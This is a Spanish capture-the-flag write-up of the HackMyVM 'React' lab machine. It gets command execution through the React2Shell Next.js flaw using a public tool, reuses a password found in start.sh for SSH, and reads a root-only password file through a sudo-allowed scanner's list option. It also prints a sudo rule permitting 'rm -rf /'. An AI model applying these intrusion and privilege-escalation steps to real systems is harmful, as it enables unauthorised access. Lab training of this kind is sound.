cd ~/blog

~/writeups/hmv/146-react.md

146 - React

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
React2ShellCredential reuse via SSHsudo scanner.py -l privileged file disclosureRCECVE-2025-55182
hackmyvm.eu/machines/machine.php?vm=React

~2 min de lectura


Reconocimiento

Comenzamos identificando la dirección IP de la máquina víctima dentro de la red local:

❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.233	08:00:27:f9:dc:30	PCS Systemtechnik GmbH

Con la IP confirmada, lanzamos un barrido completo de puertos TCP. El escaneo revela tres puertos abiertos: 22, 80 y 3000:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.233
[sudo] password for wh01s17:
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-01 00:01 -0300
Nmap scan report for 192.168.1.233
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
MAC Address: 08:00:27:F9:DC:30 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

Realizamos un segundo escaneo, más dirigido, para identificar los servicios y sus versiones:

❯ nmap -sCV -p 22,80,3000 -oN 02-targeted.txt 192.168.1.233
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-01 00:02 -0300
Nmap scan report for 192.168.1.233
Host is up (0.00025s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: \xE7\xBD\x91\xE7\xBB\x9C\xE8\xAF\x8A\xE6\x96\xAD\xE5\xB7\xA5\xE5\x85\xB7
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
|     x-nextjs-cache: HIT
|     x-nextjs-prerender: 1
|     x-nextjs-stale-time: 4294967294
|     X-Powered-By: Next.js
|     Cache-Control: s-maxage=31536000,
|     ETag: "vhwrqricd17bt"
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 9497
|     Date: Thu, 01 Oct 2026 03:02:44 GMT
|     Connection: close
|     <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" as="image" href="/next.svg"/><link rel="stylesheet" href="/_next/static/css/97f208c543225968.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-744ee3f145013e34.js"/><script src="/_next/static/chunks/4bd1b696-6985518451956beb.js" async=""></script><script src="/_next/static/chunks/215-
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
|     Allow: GET
|     Allow: HEAD
|     Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
|     Date: Thu, 01 Oct 2026 03:02:44 GMT
|     Connection: close
|   Help, NCP:
|     HTTP/1.1 400 Bad Request
|_    Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.991%I=7%D=10/1%Time=6ABDCD54%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,1C48,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-
SF:State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x
SF:20Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201
SF:\r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\n
SF:Cache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"vhwrqricd17bt\"\
SF:r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x209
SF:497\r\nDate:\x20Thu,\x2001\x20Oct\x202026\x2003:02:44\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"preload\"\x20as=\"imag
SF:e\"\x20href=\"/next\.svg\"/><link\x20rel=\"stylesheet\"\x20href=\"/_nex
SF:t/static/css/97f208c543225968\.css\"\x20data-precedence=\"next\"/><link
SF:\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20href=\
SF:"/_next/static/chunks/webpack-744ee3f145013e34\.js\"/><script\x20src=\"
SF:/_next/static/chunks/4bd1b696-6985518451956beb\.js\"\x20async=\"\"></sc
SF:ript><script\x20src=\"/_next/static/chunks/215-")%r(Help,2F,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HT
SF:TPOptions,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20N
SF:ext-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-
SF:Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20privat
SF:e,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\
SF:x20Thu,\x2001\x20Oct\x202026\x2003:02:44\x20GMT\r\nConnection:\x20close
SF:\r\n\r\n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvar
SF:y:\x20RSC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-
SF:Router-Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Con
SF:trol:\x20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-reval
SF:idate\r\nDate:\x20Thu,\x2001\x20Oct\x202026\x2003:02:44\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds

Enumeración web

Revisamos primero el sitio web del puerto 80:

Después accedemos al puerto 3000, donde encontramos una aplicación en Next.js, tal como sugería la cabecera X-Powered-By del escaneo:

Explotación de React2Shell

Comprobamos si la aplicación es vulnerable a React2Shell (CVE-2025-55182) utilizando el scanner React2Shell Ultimate:

❯ python react2shell-ultimate.py -u http://192.168.1.233:3000

╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 Scanner v2.0.0         ║
║          Next.js RSC Remote Code Execution Vulnerability               ║
╠════════════════════════════════════════════════════════════════════════╣
║  Author: Satyam Rastogi (@hackersatyamrastogi)                        ║
║  https://github.com/hackersatyamrastogi                              ║
╠════════════════════════════════════════════════════════════════════════╣
║  Modes: --safe (side-channel) | --rce (PoC) | --version | --local      ║
║  WAF Bypass: --waf-bypass | --vercel-bypass | --unicode                ║
╚════════════════════════════════════════════════════════════════════════╝

[*] Scanning 1 host(s)
[*] Threads: 10, Timeout: 10s
[VULNERABLE] http://192.168.1.233:3000
    Version: detected (version unknown) | Status: 500 | Method: safe_side_channel

============================================================
SCAN SUMMARY
============================================================
  Total hosts: 1
  Vulnerable: 1
  Not vulnerable: 0
  Errors: 0
============================================================

El scanner señala el objetivo como vulnerable. Para confirmar que el resultado permite ejecutar comandos, probamos con id:

❯ python react2shell-ultimate.py --god -u http://192.168.1.233:3000 --cmd id

╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 Scanner v2.0.0         ║
║          Next.js RSC Remote Code Execution Vulnerability               ║
╠════════════════════════════════════════════════════════════════════════╣
║  Author: Satyam Rastogi (@hackersatyamrastogi)                        ║
║  https://github.com/hackersatyamrastogi                              ║
╠════════════════════════════════════════════════════════════════════════╣
║  ███  GOD MODE ACTIVE - AUTHORIZED RED TEAM USE ONLY  ███             ║
╠════════════════════════════════════════════════════════════════════════╣
║  ⚠️  WARNING: This mode enables full command execution on targets.     ║
║  ⚠️  Only use on systems you have EXPLICIT WRITTEN AUTHORIZATION.     ║
║  ⚠️  Unauthorized access is a federal crime (CFAA, CMA, etc.)         ║
╚════════════════════════════════════════════════════════════════════════╝

[*] Executing command: id
[*] Target: http://192.168.1.233:3000

============================================================
COMMAND OUTPUT
============================================================
uid=1000(bot) gid=1000(bot) groups=1000(bot)
============================================================

[✓] Command executed successfully!

La ejecución de id confirma que podemos ejecutar comandos en el servidor con los permisos del usuario bot.

Abrimos el modo de shell de la misma herramienta y listamos el contenido del directorio actual:

❯ python react2shell-ultimate.py --god -u http://192.168.1.233:3000 --shell

╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 Scanner v2.0.0         ║
║          Next.js RSC Remote Code Execution Vulnerability               ║
╠════════════════════════════════════════════════════════════════════════╣
║  Author: Satyam Rastogi (@hackersatyamrastogi)                        ║
║  https://github.com/hackersatyamrastogi                              ║
╠════════════════════════════════════════════════════════════════════════╣
║  ███  GOD MODE ACTIVE - AUTHORIZED RED TEAM USE ONLY  ███             ║
╠════════════════════════════════════════════════════════════════════════╣
║  ⚠️  WARNING: This mode enables full command execution on targets.     ║
║  ⚠️  Only use on systems you have EXPLICIT WRITTEN AUTHORIZATION.     ║
║  ⚠️  Unauthorized access is a federal crime (CFAA, CMA, etc.)         ║
╚════════════════════════════════════════════════════════════════════════╝

╔════════════════════════════════════════════════════════════════════════╗
║                    INTERACTIVE SHELL - GOD MODE                        ║
╠════════════════════════════════════════════════════════════════════════╣
║  Target: http://192.168.1.233:3000                                     ║
╠════════════════════════════════════════════════════════════════════════╣
║  Commands:                                                             ║
║    • Type any shell command to execute (ls, whoami, id, cat, etc.)     ║
║    • 'read <file>' - Read file contents (e.g., read /etc/passwd)       ║
║    • 'download <remote> <local>' - Download file to local              ║
║    • 'help' - Show this help                                           ║
║    • 'exit' or 'quit' - Exit interactive shell                         ║
╚════════════════════════════════════════════════════════════════════════╝

[*] Testing target exploitability...
[✓] Target is exploitable! User: uid=1000(bot) gid=1000(bot) groups=1000(bot)

react2shell:192.168.1.233:3000$ ls
[*] Executing: ls

app
eslint.config.mjs
next.config.ts
next-env.d.ts
node_modules
package.json
package-lock.json
postcss.config.mjs
public
README.md
start.sh
tsconfig.json

Entre los archivos de la aplicación encontramos start.sh. Lo revisamos en busca de información útil sobre el arranque del servicio:

react2shell:192.168.1.233:3000$ cat start.sh
[*] Executing: cat start.sh

#!/bin/bash
export HOST=0.0.0.0
export PORT=3000
export BOTPASSWORD=lMmqr98vg3Ke1Mu4hJwN
npm start

Acceso por SSH

El script define la variable BOTPASSWORD con el valor lMmqr98vg3Ke1Mu4hJwN. Probamos esa contraseña por SSH con el usuario bot para comprobar si se reutiliza en el sistema:

❯ ssh bot@192.168.1.233
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
bot@192.168.1.233's password: lMmqr98vg3Ke1Mu4hJwN
Linux React 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 30 23:58:41 2026 from 192.168.1.54
bot@React:~$

La autenticación funciona: conseguimos una sesión SSH como bot y recuperamos la primera flag.

Escalada de privilegios

Ya dentro del sistema, revisamos los permisos de sudo en busca de una vía de escalada:

bot@React:~$ sudo -l
Matching Defaults entries for bot on React:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bot may run the following commands on React:
    (ALL) NOPASSWD: /opt/react2shell/scanner.py
    (ALL) NOPASSWD: /usr/bin/rm -rf /
bot@React:~$

La regla NOPASSWD nos permite ejecutar /opt/react2shell/scanner.py como root sin contraseña. Revisamos las opciones del script y observamos que -l permite indicar un archivo con una lista de objetivos:

bot@React:/opt/react2shell$ ./scanner.py
usage: scanner.py [-h] (-u URL | -l LIST) [-t THREADS] [--timeout TIMEOUT] [-o OUTPUT] [--all-results] [-k] [-H HEADER] [-v] [-q] [--no-color] [--safe-check] [--windows]
                  [--waf-bypass] [--waf-bypass-size KB]
scanner.py: error: one of the arguments -u/--url -l/--list is required

Para ampliar la enumeración local, ejecutamos linpeas.sh. En la sección «Executable files potentially added by user» aparece el binario /usr/bin/check_key, además de los scripts de React2Shell:

╔══════════╣ Executable files potentially added by user (limit 70) (T1083)
2025-12-13+23:00:29.2705687710 /usr/bin/check_key
2025-12-13+22:51:20.6802629150 /opt/react2shell/scanner.py
2025-12-13+22:31:57.8558796180 /opt/react2shell/scanner_with_rce.py

Revisamos las cadenas legibles de /usr/bin/check_key con strings:

bot@React:/opt/react2shell$ strings /usr/bin/check_key
...
cp /root/Reactrootpass.txt /opt
...

Encontramos una cadena que contiene el comando cp /root/Reactrootpass.txt /opt. Aunque strings no demuestra que el programa llegue a ejecutarlo, nos da una pista concreta: un archivo en /root cuyo nombre sugiere que contiene la contraseña de ese usuario.

Aprovechamos que podemos ejecutar scanner.py como root y pasamos ese archivo al parámetro -l. El scanner interpreta sus líneas como objetivos y, al intentar conectarse, muestra el valor leído en el mensaje de error:

bot@React:/opt/react2shell$ sudo ./scanner.py -l /root/Reactrootpass.txt

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[ERROR] To75CuOTHLA7BMmH5Puv - Connection Error: HTTPSConnectionPool(host='to75cuothla7bmmh5puv', port=443): Max retries exceeded with url: / (Caused by NameResolutionError("HTTPSConnection(host='to75cuothla7bmmh5puv', port=443): Failed to resolve 'to75cuothla7bmmh5puv' ([Errno -2] Name or service not known)"))

============================================================
SCAN SUMMARY
============================================================
  Total hosts scanned: 1
  Vulnerable: 0
  Not vulnerable: 1
  Errors: 0
============================================================

El error revela el valor To75CuOTHLA7BMmH5Puv. Probamos si corresponde a la contraseña de root:

bot@React:/opt/react2shell$ su root
Password: To75CuOTHLA7BMmH5Puv
root@React:/opt/react2shell#

La contraseña es válida y obtenemos una shell como root. Recuperamos la flag final, y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados